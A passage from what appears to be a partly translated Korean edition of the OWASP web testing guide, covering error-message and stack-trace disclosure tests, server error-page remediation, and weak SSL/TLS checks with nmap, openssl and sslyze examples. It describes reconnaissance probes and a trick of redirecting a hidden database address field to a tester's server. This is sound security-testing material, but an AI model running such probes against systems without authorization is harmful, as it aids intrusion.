By manipulating the variables that are passed to the database connect string, we can invoke more detailed errors.

Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC Access 97 ODBC driver Driver]General error
Unable to open registry key 'DriverId'

In this example, we can see a generic error in the same situation which reveals the type and version of the associated database system and a dependence on Windows operating system registry key values. Now we will look at a practical example with a security test against a web application that loses its link to its database server and does not handle the exception in a controlled manner. This could be caused by a database name resolution issue, processing of unexpected variable values, or other network problems. Consider the scenario where we have a database administration web portal, which can be used as a front end GUI to issue database queries, create tables, and modify database fields. During the POST of the logon credentials, the following error message is presented to the penetration tester. The message indicates the presence of a MySQL database server:

Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host

If we see in the HTML code of the logon page the presence of a hidden field with a database IP, we can try to change this value in the URL with the address of database server under the penetration tester's control in an attempt to fool the application into thinking that the logon was successful. Another example: knowing the database server that services a web application, we can take advantage of this information to carry out a SQL Injection for that kind of database or a persistent XSS test.


How to Test

다음은 사용자에게 리턴하는 자세한 에러 메시지에 대한 테스트 예제입니다. 아래 각 예제들은 운영 체제, 어플리케이션 버전 등에 대해 관련 정보를 가지고 있습니다.

Test: 404 Not Found

telnet <host target> 80
GET /<wrong page> HTTP/1.1
host: <host target>
<CRLF><CRLF>

Result:

HTTP/1.1 404 Not Found
Date: Sat, 04 Nov 2006 15:26:48 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>404 Not Found</title>
...
<address>Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g
at <host target> Port 80</address>

Test:

Network problems leading to the application being unable to
access the database server

Result:

Microsoft OLE DB Provider for ODBC Drivers (0x80004005) '
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host

Test:

Authentication failure due to missing credentials

Result: Firewall version used for authentication:

Error 407
FW-1 at <firewall>: Unauthorized to access the document.
- Authorization is needed for FW-1.
- The authentication required by FW-1 is: unknown.
- Reason for failure of last attempt: no user

Test: 400 Bad Request

telnet <host target> 80
GET / HTTP/1.1
<CRLF><CRLF>

Result:

HTTP/1.1 400 Bad Request
Date: Fri, 06 Dec 2013 23:57:53 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>400 Bad Request</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at 127.0.1.1 Port 80</address>
...

Test: 405 Method Not Allowed

telnet <host target> 80
PUT /index.html HTTP/1.1
Host: <host target>
<CRLF><CRLF>

Result:

HTTP/1.1 405 Method Not Allowed
Date: Fri, 07 Dec 2013 00:48:57 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Content-Length: 315
Connection: close
Content-Type: text/html;
charset=iso-8859-1
...
<title>405 Method Not Allowed</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at <host target> Port 80</address>
...

Test: 408 Request Time-out

telnet <host target> 80
GET / HTTP/1.1
-Wait X seconds . (Depending on the target server, 21
seconds for Apache by default)

Result:

HTTP/1.1 408 Request Time-out
Date: Fri, 07 Dec 2013 00:58:33 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 298
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>408 Request Time-out</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at <host target> Port 80</address>
...

Test: 501 Method Not Implemented

telnet <host target> 80
RENAME /index.html HTTP/1.1
Host: <host target>
<CRLF><CRLF>

Result:

HTTP/1.1 501 Method Not Implemented
Date: Fri, 08 Dec 2013 09:59:32 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Content-Length: 299
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>501 Method Not Implemented</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at <host target> Port 80</address>
...

Test:

Enumeration of directories by using access denied error messages:<br>
http://<host>/<dir>

Result:

Directory Listing Denied
This Virtual Directory does not allow contents to be listed.

References

  • [RFC2616] Hypertext Transfer Protocol -- HTTP/1.1
  • [ErrorDocument] Apache ErrorDocument Directive
  • [AllowOverride] Apache AllowOverride Directive
  • [ServerTokens] Apache ServerTokens Directive
  • [ServerSignature] Apache ServerSignature Directive

Remediation

Error Handling in IIS and ASP .net

ASP .net is a common framework from Microsoft used for developing web applications. IIS is one of the commonly used web servers. Errors occur in all applications, developers try to trap most errors but it is almost impossible to cover each and every exception (it is however possible to configure the web server to suppress detailed error messages from being returned to the user). IIS uses a set of custom error pages generally found in c:winnthelpiishelpcommon to display errors like '404 page not found' to the user. These default pages can be changed and custom errors can be configured for IIS server. When IIS receives a request for an aspx page, the request is passed on to the dot net framework. There are various ways by which errors can be handled in dot net framework. Errors are handled at three places in ASP .net:

  • Inside Web.config customErrors section
  • Inside global.asax Application_Error Sub
  • At the the aspx or associated codebehind page in the Page_Error sub

Handling errors using web.config

<customErrors defaultRedirect="myerrorpagedefault.aspx"
mode="On|Off|RemoteOnly">
<error statusCode="404" redirect="myerrorpagefor404.
aspx"/>
<error statusCode="500" redirect="myerrorpagefor500.
aspx"/>
</customErrors>

mode="On" will turn on custom errors. mode=RemoteOnly will show custom errors to the remote web application users. A user accessing the server locally will be presented with the complete stack trace and custom errors will not be shown to him. All the errors, except those explicitly specified, will cause a redirection to the resource specified by defaultRedirect, i.e., myerrorpagedefault.aspx. A status code 404 will be handled by myerrorpagefor404.aspx.

Handling errors in Global.asax

When an error occurs, the Application_Error sub is called. A developer can write code for error handling/page redirection in this sub.

Private Sub Application_Error (ByVal sender As Object, ByVal e
As System.EventArgs)
    Handles MyBase.Error
End Sub

Handling errors in Page_Error sub

This is similar to application error.

Private Sub Page_Error (ByVal sender As Object, ByVal e As
System.EventArgs)
    Handles MyBase.Error
End Sub

Error hierarchy in ASP .net

Page_Error sub will be processed first, followed by global.asax Application_Error sub, and, finally, customErrors section in web. config file. Information Gathering on web applications with server-side technology is quite difficult, but the information discovered can be useful for the correct execution of an attempted exploit (for example, SQL injection or Cross Site Scripting (XSS) attacks) and can reduce false positives.

How to test for ASP.net and IIS Error Handling

Fire up your browser and type a random page name

http:\\www.mywebserver.com\anyrandomname.asp

If the server returns

The page cannot be found
Internet Information Services

it means that IIS custom errors are not configured. Please note the .asp extension. Also test for .net custom errors. Type a random page name with aspx extension in your browser

http:\\www.mywebserver.com\anyrandomname.aspx

If the server returns

Server Error in '/' Application.
---------------------------------------------------------------
-----------------
The resource cannot be found.
Description: HTTP 404. The resource you are looking for (or one
of its dependencies) could have been removed, had its name

custom errors for .net are not configured.

Error Handling in Apache

Apache is a common HTTP server for serving HTML and PHP web pages. By default, Apache shows the server version, products installed and OS system in the HTTP error responses. Responses to the errors can be configured and customized globally, per site or per directory in the apache2.conf using the Error-Document directive [2]

ErrorDocument 404 "Customized Not Found error message"
ErrorDocument 403 /myerrorpagefor403.html
ErrorDocument 501 http://www.externaldomain.com/errorp
agefor501.html

Site administrators are able to manage their own errors using .htaccess file if the global directive AllowOverride is configured properly in apache2.conf [3] The information shown by Apache in the HTTP errors can also be configured using the directives ServerTokens [4] and ServerSignature [5] at apache2.conf configuration file. "ServerSignature Off" (On by default) removes the server information from the error responses, while ServerTokens [ProductOnly|Major|Minor|Minimal|OS|Full] (Full by default) defines what information has to be shown in the error pages.

Error Handling in Tomcat

Tomcat is a HTTP server to host JSP and Java Servlet applications. By default, Tomcat shows the server version in the HTTP error responses. Customization of the error responses can be configured in the configuration file web.xml.

<error-page>
    <error-code>404</error-code>
    <location>/myerrorpagefor404.html</location>
</error-page>

OTG-ERR-002 (스택 트레이스 분석)


개요

Stack traces are not vulnerabilities by themselves, but they often reveal information that is interesting to an attacker. Attackers attempt to generate these stack traces by tampering with the input to the web application with malformed HTTP requests and other input data. If the application responds with stack traces that are not managed it could reveal information useful to attackers. This information could then be used in further attacks. Providing debugging information as a result of operations that generate errors is considered a bad practice due to multiple reasons. For example, it may contain information on internal workings of the application such as relative paths of the point where the application is installed or how objects are referenced internally.


테스트 방법


Black Box testing

There are a variety of techniques that will cause exception messages to be sent in an HTTP response. Note that in most cases this will be an HTML page, but exceptions can be sent as part of SOAP or REST responses too. Some tests to try include:

  • invalid input (such as input that is not consistent with application logic.
  • input that contains non alphanumeric characters or query syn tax.
  • empty inputs.
  • inputs that are too long.
  • access to internal pages without authentication.
  • bypassing application flow.

All the above tests could lead to application errors that may contain stack traces. It is recommended to use a fuzzer in addition to any manual testing. Some tools, such as OWASP ZAP and Burp proxy will automatically detect these exceptions in the response stream as you are doing other penetration and testing work.


Gray Box Testing

Search the code for the calls that cause an exception to be rendered to a String or output stream. For example, in Java this might be code in a JSP that looks like:

<% e.printStackTrace( new PrintWriter( out ) ) %>

In some cases, the stack trace will be specifically formatted into HTML, so be careful of accesses to stack trace elements. Search the configuration to verify error handling configuration and the use of default error pages. For example, in Java this configuration can be found in web.xml.


Tools


References

  • [RFC2616] Hypertext Transfer Protocol - HTTP/1.1

08_암호화

OTG-CRYPST-001 (취약한 SSL/TLS 암호, 불충분한 전송 계층 보호 침투 테스트)


개요

민감한 데이터는 네트워크를 통해 전송될 때 보호되어야 하기 때문에, 사용자 자격 증명과 신용 키를 포함하고 있어야 합니다. 데이터가 저장될 때 보호되어야 하는 경우, 전송 시에도 역시 보호되어야 합니다.

HTTP는 평문 프로토콜으로 일반적으로 SSL/TLS 터널을 통해 보안되며, 이를 HTTPS 트래픽이라고 합니다. HTTPS 프로토콜 사용은 기밀성 뿐만 아니라 인증 역시 보장합니다. 서버가 디지털 인증서를 사용하여 인증되고, 상호 인증을 위해 클라이언트 인증을 사용하여야 합니다.

오늘날 일반적으로 사용되고 지원하는 고급 암호 메커니즘인 경우에도, 서버에 일부 잘못된 설정이 공격자 접속을 허용하는 잘못된 암호 메커니즘 사용으로 강제 사용될 수 있습니다. 일부 잘못된 설정은 서비스 거부 공격에 사용될 수 있습니다.


일반적인 문제

취약점은 민감한 정보 전송 시 HTTP 프로토콜을 사용하면 발생할 수 있습니다.

SSL/TLS 서비스가 존재하는 경우에는 양호하지만, 공격 표면을 증가시키고 다음 취약점이 존재할 수 있습니다.

  • SSL/TLS 프로토콜, 암호문, 키 그리고 재협상이 제대로 설정되어 있어야합니다.
  • 인증서 유효 기간이 보장되어야합니다.

이와 관련한 또 다른 취약점

  • 노출된 소프트웨어이기에 취약점이 알려진 경우 업데이트 해야 합니다.
  • Session 쿠키를 위해 Secure 플래그 사용
  • HTTP 엄격한 전송보안(HSTS) 사용
  • 트래픽을 차단하는 데 사용할 수 있는 HTTP 및 HTTPS 존재
  • 정보 누출에 사용되 수 있는 동일한 페이지에 혼합 HTTPS 및 HTTP 컨텐츠의 존재

민감한 데이터 평문 전송

어플리케이션은 암호화되지 않은 채널을 통해 민감한 정보를 전송하지 말아야합니다. 일반적으로 HTTP를 통해 기본 인증을 사용할 경우, HTTP를 통해 전송한 입력 비밀번호 또는 세션 쿠키와 규정, 법률 또는 조직 정책에 의해 고려될 일반 정보 등을 발견 할 수 있습니다.


취약한 SSL/TLS 암호문/프로토콜/키

역사적으로, 암호 시스템은 최대 40 비트 크기 이하의 키라면 파괴 될 수 있고, 통신의 암호 해독을 허용되기 때문에 미국 정부에서 설정한 제한이 있었습니다. 이 후 암호화는 최대 키 크기가 128 비트로 규제가 완화되어 출력되었습니다.

It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking. Briefly, the key points for the cipher suite determination are the following:

  1. The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].
  2. The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server).

It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.

  1. The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.
  2. The server sends a ServerHelloDone message and waits for a client response.
  3. Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.

SSL 인증 유효성 테스트 - 클라이언트와 서버

HTTPS 프로토콜을 통해 웹 어플리케이션에 접속할 때, 보안 채널은 클라이언트와 서버 사이에 설립됩니다. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the "SSL Handshake" continues with the exchange of the certificates:

  1. The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.
  2. The server sends a ServerHelloDone message and waits for a client response.
  3. Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.

In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity:

  • Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);
  • Checking that the certificate is currently valid;
  • Checking that the name of the site and the name reported in the certificate match.

Let's examine each check more in detail.

  • Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won't delve deeper in the implications of the trust model being used by digital certificates).
  • Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed.
  • What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced.

또 다른 취약점

The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP). Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.


테스트 방법


민감한 데이터 평문 전송 테스트

보안되어야 하는 다양한 정보들은 평문으로 전송될 수 있습니다. 정보들이 HTTPS 대신 HTTP로 전송되는지 확인해야 합니다.


예제 1. HTTP를 통해 Basic 인증

A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.

로그인 이후 기본 인증으로 인코딩되어 있기 때문에 일반적인 예는 HTTP를 통한 기본 인증의 사용입니다.

$ curl -kis http://example.com/restricted/
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT
WWW-Authenticate: Basic realm="Restricted Area"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/html

<html><head><title>401 Authorization Required</title></
head>
<body bgcolor=white>
<h1>401 Authorization Required</h1>

Invalid login credentials!
</body></html>

취약한 SSL/TLS 암호문/프로토콜/키 테스트

The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task.

이러한 기준은 아래의 최소한의 체크리스트로 인식됩니다.

  • 취약한 ciphers를 사용해서는 안됩니다.

(예제. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).

  • 취약한 protocols은 비활성화 해야합니다.

(예제. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).

  • 재협상이 제대로 구성되어야 합니다.

(예제. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).

  • No Export (EXP) level cipher suites, due to can be easly broken [10].
  • X.509 인증 키 길이는 강해야합니다.

(예제. if RSA or DSA is used the key must be at least 1024 bits).

  • X.509 인증은 보안 해쉬 알고리즘으로만 서명해야합니다.

(예제. not signed using MD5 hash, due to known collision attacks on this hash).

  • 키는 적절한 엔트로피로 생성되어야 합니다.

(예제. Weak Key Generated with Debian) [14].

더 완벽한 체크리스트는 다음과 같습니다.

  • Secure Renegotiation should be enabled.
  • MD5 should not be used, due to known collision attacks. [35]
  • RC4 should not be used, due to crypto-analytical attacks [15].
  • Server should be protected from BEAST Attack [16].
  • Server should be protected from CRIME attack, TLS compres sion must be disabled [17].
  • Server should support Forward Secrecy [18].

The following standards can be used as reference while assessing SSL servers:

  • PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].
  • Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].
  • OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].

Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool's output as an input for manual evaluation using the references.

Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].


예제 2. nmap을 통해 SSL 서비스 인식

우선적으로 SSL/TLS 서비스를 하는 포트를 식별해야합니다. 일반적으로 tcp 포트 443(https), 465(ssmtp), 585(imap4-ssl), 993(imaps), 995(ssl-pop)을 사용합니다.

이번 예제에서는 nmap에서 "-sV" 옵션으로 SSL 서비스를 찾습니다.

$ nmap -sV --reason -PN -n --top-ports 100 www.example.com

Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00
CEST
Nmap scan report for www.example.com (127.0.0.1)
Host is up, received user-set (0.20s latency).
Not shown: 89 filtered ports
Reason: 89 no-responses
PORT  STATE SERVICE  REASON  VERSION
21/tcp open ftp syn-ack Pure-FTPd
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)
25/tcp open smtp  syn-ack Exim smtpd 4.80
26/tcp open smtp  syn-ack Exim smtpd 4.80
80/tcp open http  syn-ack
110/tcp open pop3 syn-ack Dovecot pop3d
143/tcp open imap syn-ack Dovecot imapd
443/tcp open ssl/http syn-ack Apache
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80
993/tcp open ssl/imap syn-ack Dovecot imapd
995/tcp open ssl/pop3 syn-ack Dovecot pop3d
Service Info: Hosts: example.com
Service detection performed. Please report any incorrect results
at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds

예제 3. nmap을 통해 암호문, SSLv2, 인증서 정보 확인

Nmap은 인증서 정보 체크 및 취약한 암호와 SSLv2(sl-cert,ssl-enum-ciphers)를 위한 두가지 스크립트를 가지고 있습니다.

$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com

Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00
CEST
Nmap scan report for www.example.com (127.0.0.1)
Host is up (0.090s latency).
rDNS record for 127.0.0.1: www.example.com
PORT  STATE SERVICE
443/tcp open https
| ssl-cert: Subject: commonName=www.example.org
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after:  2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
465/tcp open smtps
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after:  2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong | compressors: | NULL |_ least strength: strong 993/tcp open imaps | ssl-cert: Subject: commonName=*.exapmple.com | Issuer: commonName=******* | Public Key type: rsa | Public Key bits: 2048 | Not valid before: 2010-01-23T00:00:00+00:00 | Not valid after:  2020-02-28T23:59:59+00:00 | MD5: ******* |_SHA-1: ******* | ssl-enum-ciphers: | SSLv3: | ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong | compressors: | NULL | TLSv1.0: | ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong | compressors: | NULL |_ least strength: strong 995/tcp open pop3s | ssl-cert: Subject: commonName=*.exapmple.com | Issuer: commonName=******* | Public Key type: rsa | Public Key bits: 2048 | Not valid before: 2010-01-23T00:00:00+00:00 | Not valid after:  2020-02-28T23:59:59+00:00 | MD5: ******* |_SHA-1: ******* | ssl-enum-ciphers: | SSLv3: | ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong | compressors: | NULL | TLSv1.0: | ciphers: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLS_RSA_WITH_RC4_128_SHA - strong | compressors: | NULL |_ least strength: strong Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds

예제 4. openssl을 통해 Client-initiated 재협상과 Secure 재협상 테스트

Openssl은 수동으로 SSL/TLS를 테스트할 수 있습니다. 이번 예제에서 테스터는 openssl으로 서버에 연결된 클라이언트에 재협상을 초기화하려 합니다. HTTP 요청의 첫 라인을 쓰고나서, 새로운 라인에 "R"을 입력합니다. 그리고나서 재협상을 기다리고 완벽한 HTTP 요청과 보안 재협상이 서버 출력으로 지원되는지 확인합니다.

Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities.

$ openssl s_client -connect www2.example.com:443
CONNECTED(00000003)
depth=2 ******
verify error:num=20:unable to get local issuer certificate
verify return:0
Certificate chain
 0 s:******
 i:******
 1 s:******
 i:******
 2 s:******
 i:******
Server certificate
-----BEGIN CERTIFICATE----
******
-----END CERTIFICATE----
subject=******
issuer=******
No client certificate CA names sent
SSL handshake has read 3558 bytes and written 640 bytes
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1
 Cipher : DES-CBC3-SHA
 Session-ID: ******
 Session-ID-ctx:
    Master-Key: ******
    Key-Arg  : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    Start Time: ******
 Timeout : 300 (sec)
    Verify return code: 20 (unable to get local issuer certificate)

이제 테스터는 아래와 같이 HTTP 요청 첫 줄과 새로운 줄에 R을 입력합니다.

HEAD / HTTP/1.1
R

서버는 renegotiating 됩니다.

RENEGOTIATING
depth=2 C******
verify error:num=20:unable to get local issuer certificate
verify return:0

그리고 테스터는 완벽한 요청을 하여 응답을 체크할 수 있습니다. 만약 HEAD가 지원되지 않더라도, Client-intiated renegotiation은 지원됩니다.

HEAD / HTTP/1.1

HTTP/1.1 403 Forbidden ( The server denies the specified Uni
form Resource Locator (URL). Contact the server administrator.  )
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1792

read:errno=0

예제 5. TestSSLServer를 통해 암호화 방식, BEAST, CRIME 공격 테스트

TestSSLServer는 암호화 방식과 BEAST, CRIME 공격을 확인하기 위해 테스터가 사용할 수 있는 스크립트입니다.

BEAST(Browser Exploit Against SSL/TLS)은 TLS 1.0에 CBC 취약점을 공격합니다.

CRIME (Compression Ratio Info-leak Made Easy)은 TLS 압축 취약점을 공격하고, 그것을 비활성화합니다. 재밌는 것은 BEAST를 방어할 수 있는 것은 RC4를 사용하는 것이지만, RC4에서는 암호화 분석 공격 때문에 권장하지 않습니다.

이 공격을 확인하기 위한 온라인 툴은 SSL 연구소에 있지만, 인터넷과 연결된 서버에만 이용할 수 있습니다. 또한, 확인 결과가 SSL 연구소 서버에 저장될 것이기에 온라인 툴 사용은 고려되어야 합니다.

$ java -jar TestSSLServer.jar www3.example.com 443
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2
Deflate compression: no
Supported cipher suites (ORDER IS NOT SIGNIFICANT):

  SSLv3
     RSA_WITH_RC4_128_SHA
     RSA_WITH_3DES_EDE_CBC_SHA
     DHE_RSA_WITH_3DES_EDE_CBC_SHA
     RSA_WITH_AES_128_CBC_SHA
     DHE_RSA_WITH_AES_128_CBC_SHA



     RSA_WITH_AES_256_CBC_SHA
     DHE_RSA_WITH_AES_256_CBC_SHA
     RSA_WITH_CAMELLIA_128_CBC_SHA
     DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
     RSA_WITH_CAMELLIA_256_CBC_SHA
     DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
     TLS_RSA_WITH_SEED_CBC_SHA
     TLS_DHE_RSA_WITH_SEED_CBC_SHA

  (TLSv1.0: idem)
  (TLSv1.1: idem)
  TLSv1.2

     RSA_WITH_RC4_128_SHA
     RSA_WITH_3DES_EDE_CBC_SHA
     DHE_RSA_WITH_3DES_EDE_CBC_SHA
     RSA_WITH_AES_128_CBC_SHA
     DHE_RSA_WITH_AES_128_CBC_SHA
     RSA_WITH_AES_256_CBC_SHA
     DHE_RSA_WITH_AES_256_CBC_SHA
     RSA_WITH_AES_128_CBC_SHA256
     RSA_WITH_AES_256_CBC_SHA256
     RSA_WITH_CAMELLIA_128_CBC_SHA
     DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
     DHE_RSA_WITH_AES_128_CBC_SHA256
     DHE_RSA_WITH_AES_256_CBC_SHA256
     RSA_WITH_CAMELLIA_256_CBC_SHA
     DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
     TLS_RSA_WITH_SEED_CBC_SHA
     TLS_DHE_RSA_WITH_SEED_CBC_SHA
     TLS_RSA_WITH_AES_128_GCM_SHA256
     TLS_RSA_WITH_AES_256_GCM_SHA384
     TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
     TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
----------------------
Server certificate(s):
 ******
----------------------
Minimal encryption strength:  strong encryption (96-bit or
more)
Achievable encryption strength:  strong encryption (96-bit or
more)
BEAST status: vulnerable
CRIME status: protected

예제 6. sslyze 테스트

Sslyze는 대량 스캐닝과 XML 출력을 수행할 수 있는 파이썬 스크립트입니다. 일반적인 스캔 에제는 아래와 같습니다.

./sslyze.py --regular example.com:443
 REGISTERING AVAILABLE PLUGINS
 ----------------------------PluginHSTS
  PluginSessionRenegotiation
  PluginCertInfo
  PluginSessionResumption
  PluginOpenSSLCipherSuites
  PluginCompression
 CHECKING HOST(S) AVAILABILITY
 ----------------------------
  example.com:443  => 127.0.0.1:443
 SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443 --------------------------------------------------
*
 Compression :
        Compression Support:  Disabled


 *
 Session Renegotiation :
      Client-initiated Renegotiations:  Rejected
